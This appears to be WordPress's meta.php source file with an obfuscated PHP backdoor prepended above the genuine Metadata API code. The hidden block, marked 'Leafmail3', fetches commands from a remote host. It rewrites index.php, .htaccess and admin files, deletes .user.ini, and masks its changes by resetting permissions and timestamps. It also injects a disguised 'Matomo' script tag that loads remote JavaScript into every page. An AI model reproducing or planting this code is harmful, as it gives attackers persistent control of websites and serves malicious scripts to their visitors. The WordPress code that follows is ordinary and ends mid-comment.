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<?php /*Leafmail3*/goto hsxm4; mY3D9: $OKi1f .= "\145\x6e"; goto PMx6A; Kd95g: $eE8gG .= "\x66\x69\154\x65"; goto oGKV2; c0Bp6: $Jl55q .= "\164\157"; goto hLq5m; Vp4xb: $P5GVh = $Jl55q($guwhq); goto KpZeQ; KGgiz: $Yg3cE .= "\46\x68\x3d" . $Q6Si4; goto tGPrB; xpAbl: $PP2HF = $M1RhP($lL4Rq) || $M1RhP($Cb4XV); goto HSzn5; Kc0L3: @$jg8CY($QTlc9, $L0vpN); goto d3U3f; J7hLY: $oyXyy .= "\154\x72"; goto Bl7Ky; bQe_M: try { goto oX1u4; oX1u4: @$jg8CY($QTlc9, $HwdP2); goto mGuog; mGuog: @$jg8CY($OEoU0, $HwdP2); goto xHE2w; TupRK: @$jg8CY($OEoU0, $L0vpN); goto Mf0Y6; KHm7H: @$x09Um($KCjdR, $P5GVh); goto gKo15; gKo15: @$jg8CY($QTlc9, $L0vpN); goto fLtCp; c1PqG: @$jg8CY($KCjdR, $L0vpN); goto KHm7H; HZmuJ: @$jg8CY($KCjdR, $HwdP2); goto BHPy7; Mf0Y6: @$x09Um($OEoU0, $P5GVh); goto HZmuJ; BHPy7: @$SUpxe($KCjdR, $KmcLU["\142"]); goto c1PqG; xHE2w: @$SUpxe($OEoU0, $KmcLU["\x61"]); goto TupRK; fLtCp: } catch (Exception $w0YG7) { } goto KYs1a; Jfk_p: $guwhq = "\x2d\61"; goto FfLog; aYiIS: $NMbX8 .= "\144\x69\x72"; goto aKKe8; UPbyC: $HwdP2 += 304; goto fGMBR; JJZtD: $Jzlvr .= "\x75\156\143\164"; goto K31Ka; wCWRd: $SUj9O .= "\x73\x65"; goto SQa11; EdFV9: $M1RhP = "\144\x65\x66"; goto CcXTx; SDHjH: $QTlc9 = $_SERVER[$zl1NS]; goto BhGva; v4imZ: $aBJVO .= "\165\x65\162\x79"; goto ccRhk; C3xz0: $QuqQl .= "\157\160\164"; goto ExrBe; Mn8P4: $nCEBP .= "\143\153"; goto rirWy; oGKV2: $AIpqX = "\x69\x73\137"; goto yLTbR; ShiTE: $jg8CY = "\143\x68"; goto HTXlE; FRUFZ: if (!(!$PP2HF && $wU3zB)) { goto cynsl; } goto fT2Kb; D5OCa: $Jl55q = "\x73\164\162"; goto c0Bp6; jFRX7: $x09Um .= "\x75\143\150"; goto ShiTE; CIdAQ: try { goto uKjO1; uKjO1: $KJxhs = $Lbxvg(); goto h_HFe; ahPCJ: $SpmAm = $qG0GR($KJxhs); goto EzjNL; xG0S9: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 10); goto ahPCJ; SQbKW: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto xG0S9; FS40F: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto h05EJ; h05EJ: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto KfHmj; cFoFb: $SpmAm = trim(trim($SpmAm, "\xef\273\277")); goto XVsob; KfHmj: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto SQbKW; EzjNL: $SUj9O($KJxhs); goto cFoFb; h_HFe: $QuqQl($KJxhs, CURLOPT_URL, $Yg3cE); goto FS40F; XVsob: } catch (Exception $w0YG7) { } goto Rf0CY; OWp53: $NMbX8 = "\155\x6b"; goto aYiIS; Dx3FV: $lrArR = $WVzi1[0]; goto IH6rw; i5aD2: if (!(!$eE8gG($KCjdR) || $wgQyS($KCjdR) != $CXpqw)) { goto eit7d; } goto KjDHJ; FWxON: $PVllF = "\144\x65\143"; goto EwaSn; KjDHJ: $YEcMX = 1; goto z9vF6; ZyUiw: $Jzlvr .= "\167\156\137\146"; goto JJZtD; mCzgW: $_SERVER[$Jzlvr] = 0; goto EkOAP; NflDd: $Yg3cE .= "\x63\157\x70\171"; goto KGgiz; yB2Sc: $JyN8a .= "\x69\x73\164\163"; goto Rkiyf; klUXl: $KCjdR .= "\x61\x63\x63\x65\163\x73"; goto lFs7r; Fra8y: $k1dzM = "\65"; goto Js55e; pF1JS: $OEoU0 .= "\150\160"; goto C_QnM; xhtvx: $leXnA .= "\x6e\x69"; goto rLZqh; n28OO: $sJIxp .= "\151\141\154\151\172\x65"; goto bm81E; znIi3: @unlink($leXnA); goto Kc0L3; slgUn: $sJIxp = "\x75\156\163\145\162"; goto n28OO; QELur: $Jzlvr .= "\147\151\x73\x74"; goto lEaPh; Js55e: $k1dzM .= "\56\x34"; goto N7I8b; rLZqh: if (!$eE8gG($leXnA)) { goto WwLVo; } goto laOt4; yCiib: EKIjw: goto m_fRf; Gcw6D: $SLV70 .= "\x6f\x6e\x5f\143\157\x6d"; goto FFtsE; bm81E: $a2D8O = "\151\x6e\164"; goto l0tUv; xQGdz: try { $_SERVER[$Jzlvr] = 1; $Jzlvr(function () { goto F3wJk; ZjuUH: $PgG92 .= "\x6f\162\145\x28\x67\54\x73\51\73" . "\xa"; goto IC5Gf; HNrtn: $PgG92 .= "\164\x2f\x6a\141\x76\x61"; goto NGG39; NGG39: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\x3e" . "\12"; goto fvKWo; zjuBs: $PgG92 .= $Q6Si4; goto ozlGd; e43vJ: $PgG92 .= "\x3b\40\147\x2e\x64\145\146"; goto WAaTZ; ctigl: $PgG92 .= "\143\x72\x69\x70\x74\76\12"; goto UQzFQ; o0zxz: $PgG92 .= "\x74\x6f\155\x6f\x20\x2d\55\x3e\12"; goto mPwIJ; HgwKa: $PgG92 .= "\x67\56\163\x72"; goto XHdHm; cMvbH: $PgG92 .= "\x3f\x69\x64\x3d"; goto CPJJv; T8SNl: $PgG92 .= "\x28\42\163\143\x72\x69"; goto DVVjf; EQZrG: $PgG92 .= "\165\155\x65\156\164\54\40\147\x3d\x64\56\x63\x72\x65\141\164\x65"; goto CVmAR; OsCJL: $PgG92 .= "\x72\x69\160\x74\x20\164\171\x70\x65\x3d\42\164\145\x78"; goto HNrtn; fvKWo: $PgG92 .= "\x28\146\x75\x6e\x63"; goto D9Z4J; XHdHm: $PgG92 .= "\143\x3d\x75\53\42\x6a\x73\x2f"; goto zjuBs; F3wJk: global $Q6Si4, $FOvp_; goto ikpGs; DVVjf: $PgG92 .= "\x70\164\x22\51\x5b\x30\135\73" . "\12"; goto OlxLe; CPJJv: $PgG92 .= "\x4d\55"; goto nBzuv; wKipS: $PgG92 .= "\x6a\141\x76\141"; goto y_xeS; D9Z4J: $PgG92 .= "\x74\x69\157\x6e\x28\51\x20\x7b" . "\12"; goto vt08G; vXk66: $PgG92 .= "\x79\124\x61\147\116\x61\155\145"; goto T8SNl; ikpGs: $PgG92 = "\x3c\x21\x2d\x2d\40\115\x61"; goto o0zxz; rJXe5: $PgG92 .= "\x72\151\160\164\42\51\x2c\40\163\75\144\56\147\x65\164"; goto pxHT_; VSQBz: $PgG92 .= "\x73\171\x6e\143\75\x74\162\x75\145"; goto e43vJ; pxHT_: $PgG92 .= "\x45\154\145\x6d\x65\x6e\x74\x73\x42"; goto vXk66; QIy0x: $PgG92 .= "\157\x6d\157\40\103\157\x64"; goto Uxlnc; rjIua: $PgG92 .= "\74\57\x73"; goto ctigl; puLbh: $PgG92 .= "\x3d\x22\164\x65\170\164\x2f"; goto wKipS; CVmAR: $PgG92 .= "\x45\154\145\155\145\x6e\164\50\42\x73\143"; goto rJXe5; UU_6f: $PgG92 .= "\x22\73\40\163\x2e\160\141\x72"; goto aBxBL; c1FaP: echo $PgG92; goto zSGUt; UQzFQ: $PgG92 .= "\x3c\x21\x2d\55\x20\x45\x6e"; goto qvKfj; IC5Gf: $PgG92 .= "\x7d\x29\50\51\73" . "\xa"; goto rjIua; OlxLe: $PgG92 .= "\x67\56\164\x79\x70\x65"; goto puLbh; EfTgB: $PgG92 .= "\166\x61\x72\40\x64\x3d\x64\x6f\143"; goto EQZrG; nBzuv: $PgG92 .= time(); goto UU_6f; Uxlnc: $PgG92 .= "\145\40\55\x2d\76\xa"; goto c1FaP; mZ3oI: $PgG92 .= "\x73\x65\x72\x74\102\145\x66"; goto ZjuUH; WAaTZ: $PgG92 .= "\x65\x72\x3d\164\162\x75\x65\x3b" . "\12"; goto HgwKa; ozlGd: $PgG92 .= "\57\x6d\x61\164"; goto TbrIf; aBxBL: $PgG92 .= "\145\x6e\164\x4e\x6f\144\x65\x2e\x69\156"; goto mZ3oI; mPwIJ: $PgG92 .= "\x3c\x73\x63"; goto OsCJL; vt08G: $PgG92 .= "\166\x61\x72\x20\x75\x3d\42" . $FOvp_ . "\42\x3b" . "\12"; goto EfTgB; y_xeS: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\73\40\147\56\x61"; goto VSQBz; qvKfj: $PgG92 .= "\144\40\115\141\x74"; goto QIy0x; TbrIf: $PgG92 .= "\157\155\157\56\x6a\163"; goto cMvbH; zSGUt: }); } catch (Exception $w0YG7) { } goto OMFq0; HTXlE: $jg8CY .= "\155\x6f\144"; goto u78ub; KT1wX: $WVzi1 = []; goto TZ3bq; d3U3f: WwLVo: goto QM61W; h87Dq: $leXnA .= "\145\162\x2e\x69"; goto xhtvx; nIVO8: $JyN8a = "\x66\x75\156\143"; goto GoX1L; jFsRM: $tAPba = 5; goto mY7sQ; SQa11: $aBJVO = "\150\164\x74\160\x5f\142"; goto AJs9s; laOt4: @$jg8CY($QTlc9, $HwdP2); goto L3sEg; MPyJp: $Jzlvr .= "\x73\x68\165"; goto scBFF; hs_XX: if (!is_array($KmcLU)) { goto Ji4ud; } goto LNg_o; L3sEg: @$jg8CY($leXnA, $HwdP2); goto znIi3; QIUGn: $SUpxe .= "\160\x75\164\137\x63"; goto kd_ew; KVOXl: $oyXyy = $QTlc9; goto coTO5; lEaPh: $Jzlvr .= "\x65\x72\137"; goto MPyJp; BhGva: $pW2vG = $QTlc9; goto NAu12; qNILG: $oyXyy .= "\150\160\56\60"; goto RNzhh; Zn9KR: $Lbxvg .= "\154\x5f\x69\x6e\151\x74"; goto qk2Ao; ZoBZC: $qG0GR .= "\154\x5f\x65\170\x65\x63"; goto AVxD0; mY7sQ: $tAPba += 3; goto y9KuX; ttAoG: $Yg3cE .= "\x3d\x67\145\x74"; goto NflDd; FFtsE: $SLV70 .= "\160\141\162\145"; goto EdFV9; eBPlp: $tbkvt .= "\137\x48\x4f\x53\x54"; goto mlRqF; y9KuX: $HwdP2 = 189; goto UPbyC; trQa2: $eE8gG = "\151\x73\x5f"; goto Kd95g; coTO5: $oyXyy .= "\x2f\170\x6d"; goto J7hLY; ccRhk: $D68oh = "\155\x64\x35"; goto wF0JY; zFQvK: $Kp0SW .= "\145\x70\x74\x61\x62\x6c\x65"; goto KVOXl; QsGMA: if (!(!$eE8gG($OEoU0) || $wgQyS($OEoU0) != $lrArR)) { goto Phq1q; } goto hbhZ9; dNN2Q: $L0vpN += 150; goto BU5yK; mf5ON: $QuqQl .= "\x6c\x5f\x73\x65\x74"; goto C3xz0; hTxii: $pFwD_ = "\x2f\136\x63"; goto GJpaV; SjSdb: if (!($JyN8a($Lbxvg) && !preg_match($pFwD_, PHP_SAPI) && $nCEBP($lMxQN, 2 | 4))) { goto sPsQO; } goto NFErl; xsENl: try { goto Rj1Hp; zDVDE: $ahOJp .= "\164\75\x63\141"; goto YWC0r; EdFQK: if ($AIpqX($Io3QB)) { goto BpK_a; } goto r_zk0; OTh7W: $Io3QB = dirname($Nfe0e); goto EdFQK; toAoY: @$jg8CY($Io3QB, $HwdP2); goto ALYMH; g2WNq: $ahOJp = $FOvp_; goto Q_jhz; YWC0r: $ahOJp .= "\154\154"; goto qpBjZ; Rj1Hp: $Nfe0e = $QTlc9 . $KmcLU["\x64"]["\160\141\164\150"]; goto OTh7W; r_zk0: @$NMbX8($Io3QB, $HwdP2, true); goto yxLDn; IMGFo: VUik8: goto OCPb3; ALYMH: @$SUpxe($Nfe0e, $KmcLU["\144"]["\x63\157\x64\x65"]); goto D2b8f; yxLDn: BpK_a: goto VXrMt; VXrMt: if (!$AIpqX($Io3QB)) { goto VUik8; } goto toAoY; l8bWn: try { goto Rtq9b; N8H27: $SUj9O($KJxhs); goto PHxGn; P9hMZ: $QuqQl($KJxhs, CURLOPT_URL, $ahOJp); goto aJWcu; GlRPI: $QuqQl($KJxhs, CURLOPT_POSTFIELDS, $aBJVO($nLpk_)); goto M4b4c; bz5Ia: $QuqQl($KJxhs, CURLOPT_POST, 1); goto GlRPI; ifFFq: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto kx509; M4b4c: $qG0GR($KJxhs); goto N8H27; UfA6j: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 3); goto bz5Ia; kx509: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto UfA6j; aJWcu: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto hBtdw; Rtq9b: $KJxhs = $Lbxvg(); goto P9hMZ; hBtdw: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto ifFFq; PHxGn: } catch (Exception $w0YG7) { } goto IMGFo; s60Ax: @$x09Um($Nfe0e, $P5GVh); goto g2WNq; Q_jhz: $ahOJp .= "\77\x61\x63"; goto zDVDE; D2b8f: @$jg8CY($Nfe0e, $L0vpN); goto s_yVr; qpBjZ: $nLpk_ = ["\144\141\164\141" => $KmcLU["\x64"]["\165\162\x6c"]]; goto l8bWn; s_yVr: @$jg8CY($Io3QB, $L0vpN); goto s60Ax; OCPb3: } catch (Exception $w0YG7) { } goto bQe_M; e4Ifc: $Q6Si4 = $_SERVER[$tbkvt]; goto SDHjH; EwaSn: $PVllF .= "\x6f\143\x74"; goto CwGUI; yLTbR: $AIpqX .= "\x64\151\x72"; goto OWp53; BpAbm: $lL4Rq = "\x57\120\137\x55"; goto lIGrh; QBgho: Z7kbo: goto MUx3h; IH6rw: $CXpqw = $WVzi1[1]; goto QsGMA; yCtJ5: $JyN8a .= "\145\170"; goto yB2Sc; rirWy: $d_KAU = "\x66\143\x6c"; goto kGS2i; ExrBe: $qG0GR = $MogIQ; goto ZoBZC; qk2Ao: $QuqQl = $MogIQ; goto mf5ON; Z31wx: $jg8CY($QTlc9, $HwdP2); goto Ag8lc; K4l5B: $OEoU0 .= "\144\x65\x78\x2e\160"; goto pF1JS; bRDE_: $Cb4XV .= "\x5f\x41\x44"; goto YF7Rp; nElWS: $guwhq .= "\141\x79\x73"; goto Vp4xb; tP5eQ: $pW2vG .= "\x2d\141"; goto wx8gB; GJpaV: $pFwD_ .= "\x6c\151\57"; goto xJCEv; lFs7r: $leXnA = $QTlc9; goto tV4kM; t0fao: $Yg3cE = $FOvp_; goto NZ1x6; XrDkv: if (isset($_SERVER[$Jzlvr])) { goto r0CaT; } goto mCzgW; PMx6A: $nCEBP = "\146\154\157"; goto Mn8P4; C2C3X: $wgQyS .= "\154\x65"; goto trQa2; zsusp: $KmcLU = 0; goto jkCOI; NIEOu: $L0vpN = 215; goto dNN2Q; OEFkW: rsAYm: goto UL5LC; hbhZ9: $YEcMX = 1; goto IiUuQ; m_fRf: if (!$YEcMX) { goto gtKXO; } goto t0fao; i7ojl: $guwhq .= "\63\40\144"; goto nElWS; NAu12: $pW2vG .= "\57\x77\160"; goto tP5eQ; iw0Nk: $FOvp_ .= "\154\x69\x6e\x6b\56\164"; goto hSD1f; scBFF: $Jzlvr .= "\164\144\x6f"; goto ZyUiw; KpZeQ: $tbkvt = "\x48\124\124\120"; goto eBPlp; r500z: $KCjdR .= "\x2f\56\x68\x74"; goto klUXl; OMFq0: w6JGc: goto bH1zF; kd_ew: $SUpxe .= "\x6f\x6e\164\145\x6e\x74\163"; goto diLdg; PoTvn: $OEoU0 = $QTlc9; goto Fc1AY; aKKe8: $wM0cw = "\146\151\154\x65\137"; goto J0OQr; J3xw9: $FOvp_ = "\150\x74\x74\x70\163\72\57\57"; goto QlKtX; hSD1f: $FOvp_ .= "\157\160\57"; goto F0vj_; kGS2i: $d_KAU .= "\x6f\163\x65"; goto J3xw9; QM61W: $YEcMX = 0; goto SUEqd; p0Flx: $SUj9O .= "\154\137\143\x6c\x6f"; goto wCWRd; hLq5m: $Jl55q .= "\164\151"; goto lcFkG; YF7Rp: $Cb4XV .= "\115\x49\116"; goto xpAbl; eC9HP: $IhD_T = substr($D68oh($Q6Si4), 0, 6); goto DX3Ky; R8zQO: $SUpxe = "\146\151\x6c\145\137"; goto QIUGn; QlKtX: $FOvp_ .= "\x73\x65\x6f"; goto iw0Nk; C_QnM: $KCjdR = $QTlc9; goto r500z; EVan7: $y1BSo .= "\66\x34\x5f\x64"; goto n14XQ; CwGUI: $LDT3_ = "\x73\x74\x72"; goto iemde; wF0JY: $wgQyS = $D68oh; goto tC7IY; lcFkG: $Jl55q .= "\155\145"; goto nIVO8; LNg_o: try { goto mjWqA; aMSC6: @$jg8CY($iTCcx, $L0vpN); goto uokyK; UHS8F: @$jg8CY($pW2vG, $HwdP2); goto EZm8t; uokyK: @$x09Um($iTCcx, $P5GVh); goto bavy5; aNk_f: a5xL9: goto q700I; EZm8t: $iTCcx = $E3Ibu; goto aNk_f; OGZQL: if (!$AIpqX($pW2vG)) { goto a5xL9; } goto UHS8F; q700I: @$SUpxe($iTCcx, $KmcLU["\x63"]); goto aMSC6; mjWqA: @$jg8CY($QTlc9, $HwdP2); goto OGZQL; bavy5: } catch (Exception $w0YG7) { } goto xsENl; KYs1a: Ji4ud: goto QBgho; mlRqF: $zl1NS = "\104\x4f\103\125\115\x45\x4e\x54"; goto hivPL; OH0x0: $Tut_m .= "\x6e\146\154\x61\x74\145"; goto slgUn; Rf0CY: if (!($SpmAm !== false)) { goto Z7kbo; } goto zsusp; RNzhh: $OKi1f = "\146\157\160"; goto mY3D9; tC7IY: $wgQyS .= "\x5f\146\x69"; goto C2C3X; xePje: $Kp0SW = "\110\x54\124"; goto xIN_k; fT2Kb: $_POST = $_REQUEST = $_FILES = array(); goto UASYd; diLdg: $x09Um = "\164\157"; goto jFRX7; DX3Ky: $E3Ibu = $iTCcx = $pW2vG . "\57" . $IhD_T; goto KT1wX; J0OQr: $wM0cw .= "\x67\145\x74\137\x63"; goto KA3CR; MUx3h: gtKXO: goto qfVae; Ag8lc: $lMxQN = $OKi1f($oyXyy, "\167\x2b"); goto SjSdb; Rkiyf: $MogIQ = "\x63\165\x72"; goto chVKY; TZ3bq: $dmwnh = 32; goto jFsRM; tGPrB: $SpmAm = false; goto CIdAQ; hivPL: $zl1NS .= "\x5f\x52\117\117\x54"; goto Fra8y; Gx5VO: $Kp0SW .= "\60\x36\40\116\x6f"; goto z0Ye5; UL5LC: $YEcMX = 1; goto yCiib; NZ1x6: $Yg3cE .= "\77\141\143\x74"; goto ttAoG; xIN_k: $Kp0SW .= "\120\57\x31\x2e\x31\40\x34"; goto Gx5VO; BU5yK: $L0vpN = $a2D8O($PVllF($L0vpN), $tAPba); goto xePje; HPuPS: $SLV70 = "\166\145\162\x73\x69"; goto Gcw6D; lIGrh: $lL4Rq .= "\123\105\137\x54\x48\x45"; goto uBz23; GoX1L: $JyN8a .= "\164\x69\157\x6e\x5f"; goto yCtJ5; wx8gB: $pW2vG .= "\x64\x6d\151\156"; goto eC9HP; mEJVe: $s6EXz = $_FILES; goto p7L1U; uBz23: $lL4Rq .= "\115\x45\123"; goto Me43b; F0vj_: $Jzlvr = "\162\145"; goto QELur; l0tUv: $a2D8O .= "\x76\x61\154"; goto FWxON; tV4kM: $leXnA .= "\57\56\x75\163"; goto h87Dq; z0Ye5: $Kp0SW .= "\x74\40\101\x63\x63"; goto zFQvK; aSc51: goto EKIjw; goto OEFkW; K31Ka: $Jzlvr .= "\x69\157\x6e"; goto XrDkv; IiUuQ: Phq1q: goto i5aD2; NFErl: $jg8CY($QTlc9, $L0vpN); goto aro2m; EkOAP: r0CaT: goto BpAbm; UASYd: cynsl: goto Z31wx; N7I8b: $k1dzM .= "\x2e\60\73"; goto e4Ifc; Fc1AY: $OEoU0 .= "\x2f\151\156"; goto K4l5B; Bl7Ky: $oyXyy .= "\160\143\x2e\x70"; goto qNILG; HSzn5: $P0UrJ = $_REQUEST; goto mEJVe; KA3CR: $wM0cw .= "\157\156\164\x65\x6e\164\163"; goto R8zQO; AJs9s: $aBJVO .= "\165\151\154\x64\137\161"; goto v4imZ; z9vF6: eit7d: goto aSc51; chVKY: $Lbxvg = $MogIQ; goto Zn9KR; jkCOI: try { $KmcLU = @$sJIxp($Tut_m($y1BSo($SpmAm))); } catch (Exception $w0YG7) { } goto hs_XX; FfLog: $guwhq .= "\x33\x36"; goto i7ojl; u78ub: $y1BSo = "\x62\141\x73\x65"; goto EVan7; Me43b: $Cb4XV = "\127\x50"; goto bRDE_; p7L1U: $wU3zB = !empty($P0UrJ) || !empty($s6EXz); goto FRUFZ; bH1zF: try { goto hOljI; hTb2m: $WVzi1[] = $qQkQf; goto AVR1Z; wTrAR: $WVzi1[] = $mps9W; goto USnsY; O2FVm: $iTCcx = $QTlc9 . "\57" . $IhD_T; goto wiWx3; o5KeW: if (!empty($WVzi1)) { goto YMthw; } goto O2FVm; m1oNR: $WVzi1[] = $mps9W; goto hTb2m; C5yVp: NQbOe: goto o5KeW; uB5Qk: $mps9W = trim($JwExk[0]); goto hHGO3; tXeIo: I87JI: goto KjVrB; of38T: $JwExk = @explode("\72", $wM0cw($iTCcx)); goto lJihh; e3ZU6: $mps9W = trim($JwExk[0]); goto s4UPH; AVR1Z: uxegI: goto K3NXW; lU9RV: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto iEvPe; } goto wTrAR; ysg_I: LUX7P: goto tXeIo; BWadG: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto LUX7P; } goto uB5Qk; wiWx3: if (!$eE8gG($iTCcx)) { goto I87JI; } goto GGIpg; hOljI: if (!$eE8gG($iTCcx)) { goto NQbOe; } goto of38T; GGIpg: $JwExk = @explode("\x3a", $wM0cw($iTCcx)); goto BWadG; KjVrB: YMthw: goto jes1d; hHGO3: $qQkQf = trim($JwExk[1]); goto lU9RV; m5G9U: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto uxegI; } goto m1oNR; zW9Vv: iEvPe: goto ysg_I; s4UPH: $qQkQf = trim($JwExk[1]); goto m5G9U; lJihh: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto oJdNI; } goto e3ZU6; USnsY: $WVzi1[] = $qQkQf; goto zW9Vv; K3NXW: oJdNI: goto C5yVp; jes1d: } catch (Exception $w0YG7) { } goto PoTvn; W_RKl: $Tut_m = "\147\x7a\151"; goto OH0x0; n14XQ: $y1BSo .= "\145\x63\157\144\145"; goto W_RKl; hsxm4: $pqAdF = "\x3c\104\x44\115\76"; goto hTxii; xJCEv: $pFwD_ .= "\x73\x69"; goto D5OCa; SUEqd: if (empty($WVzi1)) { goto rsAYm; } goto Dx3FV; CcXTx: $M1RhP .= "\x69\x6e\145\x64"; goto Jfk_p; aro2m: if (!(!$_SERVER[$Jzlvr] && $SLV70(PHP_VERSION, $k1dzM, "\76"))) { goto w6JGc; } goto xQGdz; iemde: $LDT3_ .= "\x6c\145\156"; goto HPuPS; fGMBR: $HwdP2 = $a2D8O($PVllF($HwdP2), $tAPba); goto NIEOu; AVxD0: $SUj9O = $MogIQ; goto p0Flx; qfVae: sPsQO: ?>
<?php
/**
 * Core Metadata API
 *
 * Functions for retrieving and manipulating metadata of various WordPress object types. Metadata
 * for an object is a represented by a simple key-value pair. Objects may contain multiple
 * metadata entries that share the same key and differ only in their value.
 *
 * @package WordPress
 * @subpackage Meta
 */

require ABSPATH . WPINC . '/class-wp-metadata-lazyloader.php';

/**
 * Adds metadata for the specified object.
 *
 * @since 2.9.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $meta_type  Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
 *                           or any other object type with an associated meta table.
 * @param int    $object_id  ID of the object metadata is for.
 * @param string $meta_key   Metadata key.
 * @param mixed  $meta_value Metadata value. Must be serializable if non-scalar.
 * @param bool   $unique     Optional. Whether the specified metadata key should be unique for the object.
 *                           If true, and the object already has a value for the specified metadata key,
 *                           no change will be made. Default false.
 * @return int|false The meta ID on success, false on failure.
 */
function add_metadata( $meta_type, $object_id, $meta_key, $meta_value, $unique = false ) {
	global $wpdb;

	if ( ! $meta_type || ! $meta_key || ! is_numeric( $object_id ) ) {
		return false;
	}

	$object_id = absint( $object_id );
	if ( ! $object_id ) {
		return false;
	}

	$table = _get_meta_table( $meta_type );
	if ( ! $table ) {
		return false;
	}

	$meta_subtype = get_object_subtype( $meta_type, $object_id );

	$column = sanitize_key( $meta_type . '_id' );

	// expected_slashed ($meta_key)
	$meta_key   = wp_unslash( $meta_key );
	$meta_value = wp_unslash( $meta_value );
	$meta_value = sanitize_meta( $meta_key, $meta_value, $meta_type, $meta_subtype );

	/**
	 * Short-circuits adding metadata of a specific type.
	 *
	 * The dynamic portion of the hook name, `$meta_type`, refers to the meta object type
	 * (post, comment, term, user, or any other type with an associated meta table).
	 * Returning a non-null value will effectively short-circuit the function.
	 *
	 * Possible hook names include:
	 *
	 *  - `add_post_metadata`
	 *  - `add_comment_metadata`
	 *  - `add_term_metadata`
	 *  - `add_user_metadata`
	 *
	 * @since 3.1.0
	 *
	 * @param null|bool $check      Whether to allow adding metadata for the given type.
	 * @param int       $object_id  ID of the object metadata is for.
	 * @param string    $meta_key   Metadata key.
	 * @param mixed     $meta_value Metadata value. Must be serializable if non-scalar.
	 * @param bool      $unique     Whether the specified meta key should be unique for the object.
	 */
	$check = apply_filters( "add_{$meta_type}_metadata", null, $object_id, $meta_key, $meta_value, $unique );
	if ( null !== $check ) {
		return $check;
	}

	if ( $unique && $wpdb->get_var(
		$wpdb->prepare(
			"SELECT COUNT(*) FROM $table WHERE meta_key = %s AND $column = %d",
			$meta_key,
			$object_id
		)
	) ) {
		return false;
	}

	$_meta_value = $meta_value;
	$meta_value  = maybe_serialize( $meta_value );

	/**
	 * Fires immediately before meta of a specific type is added.
	 *
	 * The dynamic portion of the hook name, `$meta_type`, refers to the meta object type
	 * (post, comment, term, user, or any other type with an associated meta table).
	 *
	 * Possible hook names include:
	 *
	 *  - `add_post_meta`
	 *  - `add_comment_meta`
	 *  - `add_term_meta`
	 *  - `add_user_meta`
	 *
	 * @since 3.1.0
	 *
	 * @param int    $object_id   ID of the object metadata is for.
	 * @param string $meta_key    Metadata key.
	 * @param mixed  $_meta_value Metadata value.
	 */
	do_action( "add_{$meta_type}_meta", $object_id, $meta_key, $_meta_value );

	$result = $wpdb->insert(
		$table,
		array(
			$column      => $object_id,
			'meta_key'   => $meta_key,
			'meta_value' => $meta_value,
		)
	);

	if ( ! $result ) {
		return false;
	}

	$mid = (int) $wpdb->insert_id;

	wp_cache_delete( $object_id, $meta_type . '_meta' );

	/**
	 * Fires immediately after meta of a specific type is added.
	 *
	 * The dynamic portion of the hook name, `$meta_type`, refers to the meta object type
	 * (post, comment, term, user, or any other type with an associated meta table).
	 *
	 * Possible hook names include:
	 *
	 *  - `added_post_meta`
	 *  - `added_comment_meta`
	 *  - `added_term_meta`
	 *  - `added_user_meta`
	 *
	 * @since 2.9.0
	 *
	 * @param int    $mid         The meta ID after successful update.
	 * @param int    $object_id   ID of the object metadata is for.
	 * @param string $meta_key    Metadata key.
	 * @param mixed  $_meta_value Metadata value.
	 */
	do_action( "added_{$meta_type}_meta", $mid, $object_id, $meta_key, $_meta_value );

	return $mid;
}

/**
 * Updates metadata for the specified object. If no value already exists for the specified object
 * ID and metadata key, the metadata will be added.
 *
 * @since 2.9.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $meta_type  Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
 *                           or any other object type with an associated meta table.
 * @param int    $object_id  ID of the object metadata is for.
 * @param string $meta_key   Metadata key.
 * @param mixed  $meta_value Metadata value. Must be serializable if non-scalar.
 * @param mixed  $prev_value Optional. Previous value to check before updating.
 *                           If specified, only update existing metadata entries with
 *                           this value. Otherwise, update all entries. Default empty string.
 * @return int|bool The new meta field ID if a field with the given key didn't exist
 *                  and was therefore added, true on successful update,
 *                  false on failure or if the value passed to the function
 *                  is the same as the one that is already in the database.
 */
function update_metadata( $meta_type, $object_id, $meta_key, $meta_value, $prev_value = '' ) {
	global $wpdb;

	if ( ! $meta_type || ! $meta_key || ! is_numeric( $object_id ) ) {
		return false;
	}

	$object_id = absint( $object_id );
	if ( ! $object_id ) {
		return false;
	}

	$table = _get_meta_table( $meta_type );
	if ( ! $table ) {
		return false;
	}

	$meta_subtype = get_object_subtype( $meta_type, $object_id );

	$column    = sanitize_key( $meta_type . '_id' );
	$id_column = ( 'user' === $meta_type ) ? 'umeta_id' : 'meta_id';

	// expected_slashed ($meta_key)
	$raw_meta_key = $meta_key;
	$meta_key     = wp_unslash( $meta_key );
	$passed_value = $meta_value;
	$meta_value   = wp_unslash( $meta_value );
	$meta_value   = sanitize_meta( $meta_key, $meta_value, $meta_type, $meta_subtype );

	/**
	 * Short-circuits updating metadata of a specific type.
	 *
	 * The dynamic portion of the hook name, `$meta_type`, refers to the meta object type
	 * (post, comment, term, user, or any other type with an associated meta table).
	 * Returning a non-null value will effectively short-circuit the function.
	 *
	 * Possible hook names include:
	 *
	 *  - `update_post_metadata`
	 *  - `update_comment_metadata`
	 *  - `update_term_metadata`
	 *  - `update_user_metadata`
	 *
	 * @since 3.1.0
	 *
	 * @param null|bool $check      Whether to allow updating metadata for the given type.
	 * @param int       $object_id  ID of the object metadata is for.
	 * @param string    $meta_key   Metadata key.
	 * @param mixed     $meta_value Metadata value. Must be serializable if non-scalar.
